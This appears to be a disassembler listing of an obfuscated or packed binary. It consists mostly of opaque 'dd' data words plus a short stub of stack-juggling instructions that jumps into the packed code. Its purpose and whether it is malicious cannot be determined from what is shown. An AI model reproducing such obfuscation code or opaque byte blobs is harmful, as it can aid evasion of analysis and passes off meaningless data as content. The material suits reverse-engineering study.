dd 253CC4D0h, 0AAAF4B47h, 0F4CCA5CEh, 7F2B4948h, 9CFCE9h
dd 8A066265h, 0D58EEAE9h, 87ACECC2h, 0A6387C6Fh, 95E980FDh
dd 762432D3h, 0A23086E1h, 762433E6h, 0E077152Eh, 6C4C538Eh
dd 8BE37A7Ch, 7C6C4BCDh, 0BA369C1Bh, 2BD66AFDh, 0DD583454h
dd 31B14BDAh, 8F1D9A30h, 675EE1E4h, 610C5D4Fh, 12AE30AEh
dd 0ED940000h, 981A7612h, 1CA3FF9Dh, 8F376301h, 3EBAD6B2h
dd 5D3A593Bh, 0B8D8D965h, 2D4F5AECh, 97F5F471h, 1F7D78FBh
dd 1B5D3144h, 0A97C6F89h, 7EB98C17h, 0A12E23CFh, 4BA95836h
dd 5A257C6Ch, 0A77F34CBh, 7CA4CD0Bh, 60028E24h, 4D5D1B73h
dd 1F6B7C6Ch, 9F1C9D88h, 6B08A4FDh, 7C6BFC6Ch, 0AEB83AD6h
dd 317E0F02h, 32B1C3B0h, 7A0CA037h, 2DA8C76Fh, 882AFEADh
dd 53EFEF8Dh, 2CCC86B3h, 0C880DE75h, 147C6C4Dh, 0E6A2FC6Bh
dd 0F27C6C4Dh, 0F77D1DB5h, 0F2CC63F2h, 7C6C4DB6h, 0AECD6502h
dd 0C3BFA2D7h, 0F437E5F5h, 66077453h, 0CACF6BF9h, 932F7664h
dd 0D85B7C6Ch, 51DCACDDh, 0D753215Eh, 0EC536FD2h, 3BE0D257h
dd 0DF7673F1h, 0DFACA54Dh, 3C6878DEh, 8AC2B3B6h, 227CEBB1h
dd 82B7DB40h, 0C158CFA8h, 5B14542Ah, 0C7A07627h, 500A36Fh
dd 79882B67h, 0E1FC25B8h, 1562E367h, 4BDA80BBh, 72ABE273h
dd 623CD37Ch, 7C6CAB26h, 4540E6B2h, 60F67734h, 0CBC05750h
dd 4FF7E4E4h, 0F1900172h, 841BFA50h, 3B4857E8h, 0BF44D47Ah
dd 27CCD8B8h, 9B1BB520h, 2288E986h, 5A003B95h, 952F3CBh
dd 0D9A682B5h, 0A4D27566h, 5ECC4312h, 1160h, 24445BDAh
dd 0ADCFCA68h, 11736EF1h, 84E4FD85h, 0F6D6C08h, 0BB78FE4h
dd 0A83E6A36h, 26C3DFBDh, 0AE554123h, 831AC9ABh, 6F896D2Bh
dd 22E57B7Ch, 0D395E980h, 0E1762432h, 0EFA23086h, 1B762432h
dd 0FAE8889Eh, 6D0A7B7Eh, 911E9FECh, 39C86A06h, 0B3A08194h
dd 0C7B435A9h, 195F2FA6h, 0A7762521h, 65672D8h, 0B6089F3Dh
dd 7C7069A7h, 0F8B12443h, 0C2DA919Eh, 2540F641h, 0D07F1074h
dd 861AFB53h, 0FD86E2E1h, 611A8279h, 17058DAh, 9A310000h
dd 8797C06h, 327D3B6Bh, 2C4B76A4h, 79B9FD86h, 0AC83882Fh
dd 82036CC1h, 0AFB7913h, 0A3157ADFh, 0D7A425CDh, 806700D6h
dd 2432672Eh, 9D257576h, 9B6F784h, 5B1B806Ch, 0E980C7E0h
dd 2432D395h, 3086E176h, 0DDA6645Ch, 7CB9C358h, 37BD4FC6h
dd 1847DCC6h, 63E0A5E0h, 0AA3D9512h, 0A5E79CF5h, 1D0AD359h
dd 795374DAh, 0D8E11A92h, 3748h, 0DA682100h, 0F4ED1E76h
dd 0B94C57FFh, 0B5F3CB7Fh, 3762432h, 8082E764h, 2432672Eh
dd 7AFA9676h, 0C4A3CF67h, 3D28BF51h, 1B80F295h, 82E7E285h
dd 3D676FF4h, 0FC000000h, 4140EC80h, 3DB7330h, 68049339h
dd 0C583DBCCh, 13762432h, 24BF1794h, 32672E80h, 36757624h
dd 40EC806Dh, 55D2D152h, 26EF4724h, 0E7E2857Dh, 2B0B8082h
dd 27D490Bh, 0B95AE74Fh, 0E11A9279h, 748801D8h, 792780FDh
dd 41CD11B9h, 56000000h, 2FD57CB9h, 3B36BE2Ah, 2E80D9BAh
dd 76243267h, 80533473h, 0FAFF851Bh, 39DF499h, 98F6617Ch
dd 762432E0h, 982B83ECh, 48B10B80h, 39BBA7C7h, 31E391h
dd 19920000h, 23A18193h, 7A0DA578h, 29D57CB9h, 3C3BB828h
dd 0C4A12E4Fh, 32672E80h, 36757624h, 801B806Dh, 32D395E9h
dd 86E17624h, 0C7C26030h, 806FF4A2h, 0FA85BE0Bh, 0F45A038Ah
dd 0FFFE87C6h, 7EB95DFFh, 0BB749DCh, 0E691D2C2h, 0B734F8B4h
dd 8411B9C6h, 701A5C2Ah, 74E38C7Ch, 0A34F5BD8h, 0FDB621AEh
dd 0C06C246Dh
dd 86F3B0C1h, 0BE14ABD4h, 0D46E4A22h, 9BF1AA41h, 0C484D95Dh
dd 0A8E0EE44h, 347C7005h, 0EEAC3A4Bh, 657C7005h, 0A3687932h
dd 0F6EFF68Ch, 97B16E60h, 0DBAABA6Ch, 0E0698AFFh, 41E2958Fh
dd 6FE82B6Dh, 71FEB97Ch, 2175D9h, 47AE0000h, 762432FDh
dd 0EF8D882Bh, 24333471h, 0B9635C76h, 4E55502Eh, 86E17C6Ch
dd 9D4CFAh, 0B9CB0000h, 7549DC7Eh, 7C6C5CD8h, 38D4432Ch
dd 0D0CA9BDh, 35B0EC8Ch, 9E324532h, 1A6D1A09h, 6C5C0444h
dd 56D7D07Ch, 49132C80h, 9D5247DEh, 0DE63DB2Eh, 0AB8FCD65h
dd 0F582B834h, 0E4811B8Ah, 6E0B87E5h, 89B21A6Bh, 817A54C3h
dd 0C97C7366h, 1EA537AEh, 99F58C1Bh, 7C6CE5DFh, 9C2C82EDh
dd 0D9646300h, 0C5CB4D8h, 658131EEh, 0DF00000Eh, 6D395B56h
dd 0EAA6C2C7h, 7E2A7655h, 0D99FBF6h, 0E3006061h, 0B0EAA92h
dd 0BEAB3D69h, 243BC6D2h, 0ACAB4844h, 2E8017CCh, 7C6F8C6Ah
dd 8537D076h, 0FE8AFBFEh, 0CFDA6D75h, 52D3D65Dh, 7F9629C3h
dd 0EEB5077Fh, 0D971FE05h, 9F31C4DAh, 1D6F1C09h, 81EE9F8Ah
dd 4B30AA00h, 900702A1h, 0C7D74FCh, 13BBC76Fh, 0DDE180E8h
dd 3D32h, 7EB96900h, 32B4F4CAh, 67007624h, 2A1F6FE6h, 0B67C6C41h
dd 4BE8B8C9h, 0F3702C4Ch, 29465BE7h, 0D2BACB48h, 29FBD7E9h
dd 0D8990839h, 0B430CC5Bh, 0FA7C4B5h, 5B152886h, 0D6D182B5h
dd 0FF8529CAh, 52D16BFAh, 0F1592657h, 3A3FC5D1h, 32C2FD4Dh
dd 5BE67624h, 1E33DAB0h, 68E9C2D7h, 7C079908h, 7591F6Fh
dd 18677625h, 0F88DEA9Bh, 2A0CD0E8h, 0B814BA64h, 744ADD7Fh
dd 7C6FAFF6h, 0BADBF2A7h, 0A9152A19h, 258D0A17h, 0E47BEA95h
dd 3FADAC48h, 0AECFBCA9h, 0E8F78808h, 0FD871988h, 793152F8h
dd 0DA611A82h, 64247A11h, 7076A432h, 63BF9F37h, 0E4000001h
dd 0BEDB79B9h, 32672E80h, 0FF967624h, 2432E9AFh, 2288F776h
dd 808EEB90h, 5BEC801Bh, 5FDCC95Fh, 2102C5F7h, 0B8DD7FB9h
dd 7CB9C358h, 3BC3FD32h, 36B78935h, 796EF56Dh, 0D8E11A92h
dd 54146A01h, 60792432h, 7A3E9007h, 46792432h, 2F4D9139h
dd 0D6000000h, 0B8DD7FB9h, 5C5AEC80h, 0CEAFDCCBh, 0DB733041h
dd 3321643Ah, 0CAB57624h, 801B80A9h, 3E4F5AECh, 0A639D971h
dd 6FF4DEBBh, 3F67h, 7FB9FC00h, 32B5F3CBh, 72037624h, 24325C1Ch
dd 8E0F6876h, 0B806401h, 0E7525A26h, 0C451F92Bh, 249EABEAh
dd 11723976h, 0C3B0E980h, 63A5F1A0h, 0F1D75227h, 0E8BED81Dh
dd 0E2852142h, 6FF482E7h, 0E11A9279h, 5C48D8h, 80D30000h
dd 324346ECh, 585DE775h, 8E44A2Bh, 80F2972Dh, 314E41ECh
dd 0CF89E570h, 1D762432h, 5593C92h, 76243340h, 77CEB94h
dd 0D86CC848h, 674B1CC8h, 8D53E89Dh, 0D052E095h, 0BC8C2C66h
dd 0EC808D16h, 30E54D44h, 0FAFF856Bh, 806FF499h, 0FA2DBE0Bh
dd 0DC721C72h, 30DEh, 7CB93500h, 0B80BDC6h, 80E53ECFh
dd 54D04010h, 0EF472455h, 0BA0D4826h, 24DF7624h, 0B1392CFBh
dd 0D1B2330Eh, 0FF851B80h, 9DF499FAh, 0C9617C03h, 46EC80BEh
dd 0DD753243h, 0FFFE8ADFh, 7EB934FFh, 217549DCh, 777C6F7Ch
dd 60039D08h, 89B70765h, 2BC55CCBh, 0B3218994h, 7C6F7AF5h
dd 16F58A26h, 0E0773040h, 8E426AABh, 0D37B2469h, 0A65416A4h
dd 57037C6Fh, 6147BCE8h, 179DDBAAh, 6000000h, 4D44EC80h
dd 0F9D77F3Ch, 762432BBh, 2D4F4AE9h, 9A93h, 7EB9F000h
dd 32B4F4CAh, 67007624h, 41D86FE6h, 520005AFh, 76243316h
dd 6F6DC5A2h, 7C6C3AE2h, 0E1F1720Eh, 0B7C44544h, 42DE49F6h
dd 0D4C0A0A7h, 77595629h, 47178E4Ch, 82B782E7h, 3DCF4621h
dd 0C7D3B1B0h, 656273Ah, 0B6089F3Dh, 7C72C435h, 0C963F2BDh
dd 12832B36h, 92FEF57Eh, 0C7667D06h, 0C5D5DC0h, 218939F6h
dd 1B00000Bh, 0A9E5879Ah, 36620E0Bh, 0BAD6B291h, 4945273Ah
dd 0A7CCACADh, 774AF6CEh, 0FAE77915h, 6067029Eh, 0E8EF9400h
dd 0EAC4DB88h, 7C6F8FAEh, 85E3A43Ah, 0FE8AFBFEh, 79017E75h
dd 13905807h, 3FE47414h, 0E5DDE112h, 3Eh, 0DC7EB93Eh, 625C7549h
dd 0CFA87C6Ch, 0B7C72358h, 0A0DA94EDh, 0E8778541h, 0D37BF87Fh
dd 282FD4A4h, 0D0D75C48h, 8D2EDA3h, 7167039Dh, 0F986F7F2h
dd 0C46A0B78h, 52F47D51h, 773082B4h, 0B808E15h, 7A543982h
dd 7624913Eh, 6298ED8Ah, 4AF66201h, 0D1790677h, 0DAA6A341h
dd 24C9550Ch, 5CD87476h, 9825F55Dh, 0A893FB99h, 2A1B73E2h
dd 5B7C7011h, 52233EC1h, 0B2FDFD55h, 0EBF68923h, 0F8841889h
dd 793651F9h, 0DA611A82h, 0ECF27F11h, 713E4F5Ah, 0C0DF60F0h
dd 0F05CF2B3h, 16Ah, 5AE42D9h, 3318500Eh, 0DBA476A4h, 8AEAB49h
dd 57E9807Fh, 0BFF9A9ACh, 0D762432h, 325E1A74h, 0D6A7624h
dd 6856268Ch, 0E980C9AAh, 3C33BE52h, 24332A6Eh, 0D4AB5676h
dd 0CDAAC6A7h, 332E7765h, 0FFBC7624h, 5629D468h, 1B80E780h
dd 0B9C7E05Bh, 58B8DD7Fh, 0C67CB9C3h, 1D935A4Fh, 3562A6A1h
dd 0BAFB8889h, 0F5F2953Dh, 4E1DE79Ch, 0F910E75Bh, 92793651h
dd 48D8E11Ah, 43h, 0FBDB6821h, 0D7A69FEh, 2EC21B6Ch, 0B91BAC02h
dd 80B8DD7Fh, 2432672Eh, 53347376h, 0E2851B80h, 47D970E7h
dd 0ABC8B9BCh, 2432BDFBh, 0C66C0B76h, 806FF4BDh, 32D395E9h
dd 86E17624h, 1D8230h, 0B9010000h, 80B8DD7Fh, 2432672Eh
dd 6D367576h, 0AC57E980h, 73DBD8A9h, 0E7E28550h, 796FF482h
dd 0D8E11A92h, 1AF68801h, 742C7402h, 3F7EDEh, 0B9A50000h
dd 80BDC67Ch, 0D36B030Bh, 245FBDFBh, 1B6C0B76h, 0F35B0D89h
dd 0BD094C22h, 0D2DD7624h, 851B80B1h, 0F499FAFFh, 617C039Dh
dd 0EC80BEC9h, 3F795546h, 8D762433h, 0AFCD65E2h, 2Bh, 5AEC8024h
dd 2A17E74Fh, 6FE6FB7Bh, 2432591Fh, 9B186776h, 672E80FEh
dd 75762432h, 1B806D36h, 4140EC80h, 8E8B29E9h, 676FF4E5h
dd 0FFFFFE8Bh, 6127770Eh, 8F762432h, 129DEFE2h, 7EB92BBCh
dd 217549DCh, 777C6F7Ch, 1C9D981Bh, 494CF789h, 4CE37A2Bh
dd 6F7B3672h, 0B5E5827Ch, 7C6F7AF3h, 0B0EB5C1h, 6C48248Ah
dd 296F3FD6h, 0B77C6F7Bh, 6F2BBBC8h, 0E67C6F7Ah, 6A91B774h
dd 0B0DBAA5Ah, 10h, 32FD47EBh, 882B7624h, 0C151EF8Dh, 0B6000000h
dd 49DC7EB9h, 6C4F9875h, 1C72097Ch, 7C6C4E5Ch, 0BA70F68h
dd 0CE62F96Ch, 8882E25h, 920E6A6Dh, 2D631017h, 43DD4812h
dd 0C1D4A5A0h, 6C4EABEDh, 0F17E397Ch, 90E2BC59h, 0D882B797h
dd 0C65348DFh, 7C37F219h, 846BFC89h, 8BA43989h, 53DE7223h
dd 0C5603C5Ch, 0E0DBB5C2h, 0BA14AB3Ah, 762826FEh, 9005ADCAh
dd 0C5C067F9h, 715FF7B4h, 7C73697Ah, 76328C23h, 427C6CE8h
dd 82ED8D25h, 0FFFA7913h, 6762019Dh, 5CB4B5D8h, 9E0C830Ch
dd 7ECh, 0B0D0AF56h, 395B5EE4h, 0ADCFDA6Dh, 107071F1h
dd 9BF9F884h, 87231B78h, 14AAE682h, 0B23F6B09h, 22C1DDBFh
dd 0F78E4527h, 6F92E1A7h, 0CE59EF7Ch, 8AFBFE85h, 4E0A64FBh
dd 9A762433h, 1F6C630Eh, 2886119Eh, 76243270h, 0FF9B337Ch
dd 7A007174h, 12915B00h, 3EE57517h, 0ADDDE10Eh, 692F7F16h
dd 7776243Eh, 3F1E5A08h, 0CDAA7624h, 2DF965h, 0B9220000h
dd 7549DC7Eh, 7C6C3BECh, 306846DDh, 0BC7C6C3Bh, 0C3405FE0h
dd 53204F6Bh, 6C3AC183h, 61DE887Ch, 0A906DC47h, 7A06DBh
dd 0B99D0000h, 0B749DC7Eh, 27443510h, 0A20809B5h, 20C05CF3h
dd 33B0B732h, 0CF8D2542h, 7C6C5A4Ah, 0E27EE996h, 0CEED4540h
dd 0A33231B2h, 5F19750Ch, 6D7C6C59h, 5A145402h, 0D1A07C6Ch
dd 6C59BBFDh, 0E16E097Ch, 41FD3394h, 4FE73AE5h, 0D9DC6733h
dd 3231B24Eh, 0E18E2445h, 5FF694AFh, 0B4ACAE0Fh, 36881F82h
dd 76247372h, 1157277Eh, 0DF762474h, 0FFFB53D0h, 0EB8B25B0h
dd 83204016h, 0D395E980h, 0E1762432h, 8B3C3086h, 0FAB95952h
dd 536F91FFh, 641823FBh, 245B4E0Ah, 9C1D9A76h, 53DE7209h
dd 95D8F65Ch, 347C6C6Ah, 0B41A1D98h, 50EC7B04h, 0EC7CD2D5h
dd 0E2A4D972h, 18C2FD3Ch, 0AE48318Dh, 0F89442AAh, 6E0F7C7Bh
dd 33C90E1h, 16D5CE59h, 8C0E2231h, 0C19D78DEh, 3CE2773Dh
dd 0F0F7720Eh, 2C4CE283h, 0BB38D443h, 2BC5DCBCh, 75258D88h
dd 4F74CBCEh, 794C6737h, 6520886h, 49E80000h, 0F47E2A76h
dd 600793F1h, 0EB8B0765h, 921E8A16h, 81D6FD9Fh, 5C3C3DB9h
dd 0C1A3BE40h, 4B2928D5h, 0B3D1D45Fh, 77318D20h, 457C6F94h
dd 0FE8520E3h, 0D94C4BE8h, 2432C385h, 0E9961176h, 68770898h
dd 0F597A008h, 0B131CB62h, 41543344h, 53D03C10h, 0D785DDFBh
dd 0A4C37C6Fh, 2722C5D7h, 5A56E198h, 0AA58D70Ch, 5E8h
dd 0BCDCD352h, 254742E0h, 0A9CBD669h, 1C7C75FDh, 87E5E480h
dd 832F177Ch, 10B6E28Eh, 0BE3B5735h, 26CDD9BBh, 0FB924123h
dd 6F94E5A3h, 0BA6DF37Ch, 49DC7EB9h, 329CDCB2h, 4F287624h
dd 0FE502EE7h, 4A7C6F7Bh, 0CABBB63Eh, 485F2CADh, 0A10908B4h
dd 0C5606EF1h, 0D35051D1h, 542BD6A2h, 0D89756D7h, 0EE0C5A22h
dd 57E8131h, 3DC40000h, 0A84A4622h, 4CD3CFADh, 0DF673351h
dd 4EEAA6C2h, 0AD0A294Bh, 88E8E995h, 0FD9F8A1Ch, 670504A1h
dd 0EF8D882Bh, 4B0D6174h, 997C6F96h, 0E9805CC7h, 2432D395h
dd 0ED86E176h, 0B7473831h, 0CDA109FFh, 0E1BD28F2h, 7C701389h
dd 2A24BBD7h, 0BCFD8A89h, 0B7324E3Fh, 25A2C3B0h, 159F31A4h
dd 0AC026310h, 0FFEA7D0Fh, 599B2540h, 0FE6C230Ch, 50Ch
dd 0D0B08F36h, 593B3EC4h, 0CDAFBA4Dh, 305051D1h, 0BBD9D864h
dd 67033B98h, 0F48A0662h, 921F8BE9h, 2A1FD9Fh, 0D7EE6507h
dd 6F95C187h, 0EEB90F7Ch, 4DE8FE85h, 0CC13A8BEh, 0F8C4C3Ch
dd 0EDA6F18Eh, 1999453Ah, 790A6B18h, 882EC29Eh, 247A6B08h
dd 76250764h, 0F9B63770h, 724CE3F2h, 76250836h, 0CD77E582h
dd 0B36862C8h, 58CFCA69h, 0F306C8C1h, 0F52BD32h, 2478195Fh
dd 72D8A776h, 0BAB93A56h, 2A14762Bh, 85AD4320h, 1DFCBC12h
dd 0AFC87625h, 9BDA6807h, 0D876251Dh, 78FB219Eh, 84BF1F7Dh
dd 2BBD4FC6h, 0A1FD983Eh, 7C7066C1h, 3BD5402Fh, 0D08AAA4h
dd 0DD6F268Ch, 65315356h, 0E2AADBDEh, 8A433D9h, 53C26877h
dd 0BB1EEA7Bh, 0E6713E82h, 0A2E6B84Fh, 2E76251Dh, 1D571141h
dd 0EE657625h, 1EBD5CDh, 0EC42C3A3h, 0E9EC9729h, 91941F8Bh
dd 0C993ACE0h, 58E5005Eh, 0DFD47C6Dh, 9C1959BAh, 0BD5BE89Dh
dd 0C65237Bh, 34737C6Dh, 14931FB7h, 5C90F2A9h, 0DB4BC40Ch
dd 3F0h, 0B4D4AB4Ah, 3D5F5AD8h, 0A1C3DE61h, 14744DF5h
dd 9FFDFC78h, 9B271F74h, 18AEFA86h, 0B6336F0Dh, 3EC5D1B3h
dd 0F38A593Bh, 6F96DD9Bh, 0B255EB7Ch, 4E41EC80h, 8C8B28E8h
dd 1506ADFFh, 2432FFB9h, 25A2CD76h, 32B24E47h, 89214E3Fh
dd 0D5400A35h, 6C4554F9h, 0F3E3907Ch, 2A5A015Dh, 7591739Eh
dd 0D0961000h, 0D0942253h, 7B7C6C34h, 0CF3410CFh, 15DBA910h
dd 4Bh, 0CF7EB98Eh, 35A02124h, 6C405059h, 63009C7Ch, 0E9961764h
dd 3F8ACA98h, 15C17C6Ch, 3857E56h, 7F16DBA9h, 33D296E8h
dd 911E7C6Ch, 6C3387C1h, 3613B57Ch, 49953D7Ah, 0B5h, 83086B20h
dd 1BDD22Ch, 9512637Eh, 8025BE14h, 32D395E9h, 86E17624h
dd 0C4C36030h, 5859E5B7h, 0DFDA592Bh, 5251D2AEh, 371F9836h
dd 0A84B7624h, 50D3CFADh, 0BA512455h, 2436A4E4h, 0E5773076h
dd 1CF04643h, 90EE7923h, 7C6C66CDh, 9AF29E19h, 126CFBA1h
dd 82B7021Dh, 0BC53C2ADh, 2A809F20h, 0ADCFC26Eh, 0C97475F1h
dd 12A2DB98h, 0C941F1AEh, 73000002h, 19DFFF2h, 8E1A6663h
dd 128EEAF9h, 0A1FD9F92h, 5F640405h, 0AFA24E76h, 524FD1CDh
dd 0D8DF5A36h, 4047ECB8h, 421CB320h, 7C6F9806h, 859B0CD2h
dd 0C98F8F9h, 0BCF56067h, 40EF06C9h, 9E2A8010h, 0DC7EB9F5h
dd 59885049h, 0B2A432ACh, 9425791Ch, 407C6D33h, 4A3F5627h
dd 7ABBEF7Dh, 0F6E44A0Ah, 7C6CBFAEh, 527229A5h, 0DBA983A9h
dd 0E673h, 0B80A800h, 821877DCh, 2CEC4231h, 0A1F38087h
dd 0FF910405h, 62037075h, 0DC7251F6h, 9D880FDFh, 0B3307624h
dd 136821B4h, 1478211Eh, 0CFC6E248h, 0B6226638h, 0C1AE7624h
dd 1C0AA969h, 85E29396h, 0B5FCBC12h, 0AFC87624h, 9D25B72Eh
dd 0CEA0F784h, 7624B58Ah, 2A82956h, 0F98E2275h, 8C1C9DEAh
dd 0F549E1E0h, 0FE9500CAh, 262D1285h, 33636E61h, 76245B75h
dd 39532443h, 0B8C77FB0h, 8AE4B119h, 7C6D41C3h, 90F898E7h
dd 7550F6A7h, 48F56704h, 15DC849h, 82B7C4AFh, 8923B2FDh
dd 108CECEDh, 5D2A9594h, 5B12A319h, 1AA36A4h, 11900000h
dd 9C26721Eh, 18AFFB99h, 0B3336F0Dh, 3AC6D2BEh, 593E4527h
dd 0A4C4C561h, 294B56E8h, 93F1F07Dh, 1B797C07h, 1F593548h
dd 0AD7C6F9Ah, 0F985881Bh, 670C98F8h, 85630060h, 0FE8AFBFEh
dd 83127E75h, 3E4F4AE9h, 40C1DC62h, 0E5FECF37h, 47EF92DDh
dd 970ECCF7h, 6C403AC7h, 1E89F67Ch, 90E1FC82h, 6E2A8413h
dd 7A7C6C3Fh, 48E6953Dh, 7C6C400Ch, 0F0D48B47h, 0DBA91F0Bh
dd 3AD1h, 4D21B800h, 7C6C380Bh, 6F78DED9h, 0F4CA7EB9h
dd 762432B4h, 9EF06700h, 762432DAh, 8D1899E6h, 6C4DB431h
dd 1667007Ch, 6C4DFCB8h, 249B577Ch, 0A9151B00h, 39C1DBh
dd 475A0000h, 762432FEh, 0F86F2D16h, 334B0D61h, 0BB9E7624h
dd 2D35F9EAh, 14BAC5B7h, 0B056EA81h, 6FC7A4D5h, 6CCCB461h
dd 2547207Ch, 5554D06Ch, 12FCB324h, 0D39C1138h, 0B9EBFC52h
dd 7549DC7Eh, 7C6C6414h, 0D8760760h, 7C6C629Ch, 5B2837C8h
dd 0D1AEAB49h, 1BC1BE30h, 0F419869Bh, 78A3857Ah, 0A2DBA922h
dd 18h, 44EC80F9h, 0ADF7E54Dh, 0E7762432h, 0D7A73EDCh
dd 7C6C611Eh, 24CFADCAh, 49DC7EB9h, 6F7CB575h, 0F164037Ch
dd 74DAD75Fh, 3B7B3047h, 1A099EEEh, 0A2042269h, 0E0E78C0Ch
dd 7E6F1480h, 6FC66820h, 8A0B747Ch, 321F6DFDh, 0EFCA842h
dd 15158E51h, 33F82386h, 0DB662C8h, 970A4E20h, 0A9D6A3BDh
dd 0C15E8DCh, 0B63710B5h, 3E35BEEAh, 0BEB33341h, 0D79446C1h
dd 163660Dh, 0A1FDEE95h, 0A3BDB9E7h, 7C0D8AF5h, 3CEh, 0DA414500h
dd 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h
dd 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh, 5A7068B9h
dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 81E68956h
dd 4C6h, 4EE8300h, 5C243487h, 57240C89h, 0C781E789h, 4
dd 4EF81h, 3C870000h, 14895C24h, 0BE565324h, 19E94873h
dd 58CE8146h, 811F3B7Ch, 0A777BFCEh, 26CE812Eh, 8104DD5Bh
dd 0DF3009EEh, 5EF38931h, 2AFA6BB9h, 5BD901F8h, 24148B54h
dd 5304C483h, 8BE56h, 0F3890000h, 89D3015Eh, 148B5B0Bh
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_541331
; ---------------------------------------------------------------------------
dd 68E4B8D0h, 0C503064Bh, 0D3E6E0FFh, 361D5583h, 0F383066Fh
dd 45A716ECh, 1CF2A26h, 0F5B33C30h, 0BECC5C37h, 213C31F2h
dd 523F24CAh, 30A640B3h, 94FF4422h, 80560A6Fh, 57E04C6h
dd 0B3406C62h, 1F80508h, 83A27C7Bh, 73AC1BFBh, 53EE65ABh
dd 296A3194h, 80B73603h, 0B8464BD3h, 0C78C488Ch, 35E3AB4h
dd 11E82AFEh, 1E000000h, 0F4D1F33Bh, 9F10DD5Bh, 424665B7h
dd 4761105Fh, 0EE960h, 33F40000h, 0BCFD880Dh, 0F470AFA9h
dd 822D09A8h, 61D7BF0Fh, 9E9605Bh, 43000000h, 12C8CB34h
dd 0C3FB4873h, 14E9h, 7D727100h, 5C69F25Ch, 8B80163Eh
dd 0E47FDBEFh, 2FD0B3B3h, 0C3816100h, 67D4h, 63BEC18Bh
dd 8139D466h, 0D47FA3F6h, 0DEB96639h, 0E8138BB9h, 0Ch
dd 498F2C32h, 0DDB15E3h, 4F2B03C0h, 585ADD80h, 8F24F281h
dd 0A6B955E2h, 81219589h, 1283A6EAh, 0D1816618h, 0F281A21Ah
dd 6BA9ADC6h, 5BBF6651h, 13895F69h, 6E8h, 0B2F5DA00h, 5F04AC40h
dd 6604EB83h, 814DD1BFh, 1EEh, 0A6850F00h, 60FFFFFFh, 68B0Fh
dd 820F0000h, 0
dd 4269EE81h, 0EB614F42h, 5AAD4B04h, 611E95Bh, 0DD640000h
dd 48EAA6C2h, 0EC732F4Dh, 7F0793F1h, 0EE8A0662h, 0D6A89EBh
dd 0E8888935h, 5D3F2ABCh, 0C7A5A441h, 4F2D28CBh, 0EBAD0194h
dd 0F97C6F9Ch, 0FE85BC67h, 0BA376CFBh, 3C3FE59h, 12EF9705h
dd 1AE0465h, 96F2F773h, 0D7A79FAh, 80F1F47Fh, 588372F0h
dd 99E9C2Ch, 0C1226638h, 0C1AE7624h, 504FD040h, 0D38FA2D3h
dd 383FC46Ch, 0BDA14C58h, 84852137h, 7809B6F7h, 0C2DEBA3Bh
dd 0A7AC3327h, 24C091D7h, 0D3505F76h, 0B1572552h, 542520C7h
dd 3ED9D657h, 9825CFBCh, 4AFFB99h, 701D9601h, 33CA84B8h
dd 7007B41Ah, 7F105C3Bh, 0E380F1F4h, 0F492E296h, 2437DE9Ah
dd 0C8DEA76h, 376D28A6h, 68E27624h, 0B6E95B3h, 62B4DDE1h
dd 0EF000000h, 8AFBFE85h, 24327A3Ch, 0C9C2D576h, 0D911D1E3h
dd 0AC9EEB3Dh, 956CC845h, 27E4D67Ch, 0E10C1A01h, 8C0DDh
dd 17A90000h, 9819966Bh, 0FF859132h, 75FF8DFAh, 554EE570h
dd 9E6BDF4Dh, 38702E92h, 84762438h, 542453FBh, 83FB21ACh
dd 2045A039h, 239FD2A3h, 0B0EB47Ch, 0A0B63D69h, 0E4840504h
dd 0F8F9855Fh, 7E7BF98Bh, 58077901h, 77151490h, 0EC9D981Bh
dd 6F1C0B9Ch, 0E390911Dh, 64151491h, 0E92E9D4Dh, 36189104h
dd 4A4F429Ch, 60E1FC82h, 0FD2B90CAh, 0DDE15E16h, 100CCh
dd 0F9855700h, 66F98BF8h, 0E87E0A7Bh, 74FC8CFDh, 41CEC56Eh
dd 3BDF8730h, 0EEFEDE15h, 0D91ECD81h, 92EC8312h, 7624CBD6h
dd 7D3B93E2h, 4B7624CBh, 0AB3DAF2Ch, 0AA0C1BEh, 0A844EB50h
dd 317E0F0Ah, 7C7DF999h, 0E5E4801Ch, 24433972h, 0FE08EE71h
dd 0B0CB8485h, 369C7D4Ch, 757EEB9h, 76244E41h, 0C993148Fh
dd 787068A1h, 3FC753FBh, 0BB475522h, 3FBBC9A6h, 0BC2C4D3Ah
dd 0F492536h, 0DD76245Ah, 0B32455D2h, 1BA9E48Bh, 7B35AD84h
dd 30A24F84h, 4B65D4Bh, 996CDDE1h, 45000000h, 9C0B0EABh
dd 245086C2h, 0FD555276h, 95E980EAh, 762432D3h, 603086E1h
dd 0E4B4C5C4h, 38CF4659h, 24332266h, 0ABA64E76h, 0C0AFDDDAh
dd 0D9CC4D6Ah, 0C2F7B6A0h, 1641BE33h, 0D2DDD6C9h, 0EEAA041Ah
dd 0FA7624AFh, 0AC3CBDh, 9B337001h, 19B37A21h, 78308E99h
dd 447624AFh, 8414BA3Bh, 4A49EAF8h, 9DFF7C3Dh, 0FAFF85F6h
dd 32783D8Dh, 4AC7624h, 4CB7C0Dh, 0C3243045h, 0B68934A4h
dd 2F9C5EF9h, 9E4D0116h, 6A005A4Fh, 67126534h, 8B44BFCFh
dd 19EDDE1h, 5000000h, 48F4E285h, 0FA7B3849h, 0DD66FA8Dh
dd 62C8A9C6h, 79360DB6h, 0F889942Bh, 7F0C0BA8h, 0D98674h
dd 0E236F565h, 4A224E5Dh, 0A53CAB71h, 32F8B00Eh, 0BBC47624h
dd 47144513h, 53C07C6Ch, 9BCDDEA7h, 0DFAC2D8Dh, 412326CDh
dd 0BB9A5B50h, 0DFB00DDEh, 1D189B77h, 1A98DE6Ch, 64337C6Dh
dd 0C760B12Fh, 0C56D065Bh, 7709D48Bh, 0F484F5D0h, 7D3A4B4Eh
dd 39BA56FCh, 0EDB9C7CEh, 31A34B21h, 6B09B6B3h, 0C0B1B43Fh
dd 473433B0h, 3A1D963Fh, 17ED7E70h, 0D7DD150Bh, 686C6EA2h
dd 6C5E5216h, 90119E7Ch, 14DB803Ah, 8DFAFD78h, 70834418h
dd 1D9A7D4Ah, 5B5EE5B5h, 0FDD16839h, 7C6C4DBBh, 76F26E09h
